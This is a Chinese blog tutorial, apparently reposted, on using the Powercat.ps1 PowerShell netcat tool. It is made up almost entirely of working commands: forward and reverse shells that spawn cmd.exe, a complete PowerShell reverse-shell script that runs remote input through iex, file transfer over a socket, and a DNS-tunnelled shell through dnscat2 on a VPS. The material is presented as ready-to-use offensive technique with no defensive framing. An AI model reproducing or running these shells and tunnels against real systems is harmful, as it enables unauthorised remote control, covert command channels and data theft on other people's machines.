Powercat.ps1 脚本的用法

地球胖头鱼 2020-10-07
Web安全 发布于 2020-10-07 13:30:59 阅读 42 评论 0

PowerCat的用法

原创:谢公子学安全

参数的意义
-l    监听一个连接                      
 -c   连接到一个监听
 -p   指定端口
 -e   指定一个程序执行
 -ep  执行Powershell      
 -v   显示详细信息    
 -r   Relay. Format: "-r tcp:10.1.1.1:443"                 [String]
 -u   Transfer data over UDP.                              [Switch]
 -dns  Transfer data over dns (dnscat2).                   [String]
 -dnsft   DNS Failure Threshold.                           [int32]
 -t    Timeout option. Default: 60                         [int32]
 -i    Input: Filepath (string), byte array, or string.    [object]
 -o    Console Output Type: "Host", "Bytes", or "String"   [String]
 -of   Output File Path.                                   [String]
 -d    Disconnect after connecting.                        [Switch]
 -rep  Repeater. Restart after disconnecting.              [Switch]
 -g    Generate Payload.                                   [Switch]
 -ge   Generate Encoded Payload.                           [Switch]
 -h    打印出帮助

由于PowerCat是NetCat的PowerShell形式,所以,PowerCat可以无缝的和Netcat连接。PowerCat的用法和Netcat几乎一模一样。

正向连接

Windows上的powercat正向连接Kali上的nc
Kali(192.168.10.11):

nc -lvp 8888

Windows:

Import-Module .\powercat.ps1
powercat -c 192.168.10.11 -p 8888 -e cmd.exe

反向连接

Kali上的nc反向连接Windows上的powercat

Kali:

   nc 192.168.10.1 8888 -vv

Windows(192.168.10.1):

 Import-Module .\powercat.ps1

powercat -l -p 8888 -e cmd.exe -v

Windows之间互弹shell

方法一:

服务器监听(192.168.10.1):

Import-Module .\powercat.ps1
powercat -l -p 8888

客户端连接:

Import-Module .\powercat.ps1
powercat -c 192.168.10.1 -p 8888 -ep

方法二:

服务器监听(192.168.10.1)

Import-Module .\powercat.ps1
powercat -l -p 8888

客户端连接:

.\reverse.ps1

其中,reverse.ps1 脚本的内容如下:

$client = New-Object System.Net.Sockets.TCPClient('192.168.10.1',8888);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()

Powercat传输文件

此时,即使文件传输完毕,连接也不会自动断开,需要手动断开。

接收端:Windows10(192.168.10.1)

Import-Module .\powercat.ps1
powercat -l -p 8888 -of test.txt -v

发送端:Windows7(192.168.10.130)

 Import-Module .\powercat.ps1
  powercat -c 192.168.10.1 -p 8888 -i C:\Users\xie\Desktop\test.txt -v

PowerCat进行DNS隧道通信

PowerCat也是一套基于DNS通信的协议,PowerCat的DNS通信是基于dnscat。所以,在使用DNS隧道通信前,需要在我们的VPS上安装dnscat。

安装dnscat

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

安装完dnscat后,在VPS上执行如下命令:

ruby dnscat2.rb ttpowercat.test -e open --no-cache

在Windows上执行如下命令:

powercat -c 192.168.10.11 -p 53 -dns ttpowercat.test -e cmd.exe

然后我们的Kali上就能收到反弹过来的shell了。

执行 session -i 1 进入反弹过来的shell中,就可以执行whoami等系统命令了。


注:在执行完powercat的命令后,还需要按enter键,对面才能接收到shell

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!
地球胖头鱼
未填写
  • 作者发布文章79
  • 作者收获粉丝1
  • 作者收到点赞0
  • 所有文章被收藏了0
  • 博客总访问量排行第5
  • 博客总访问量5036(每日更新)
查看所有博文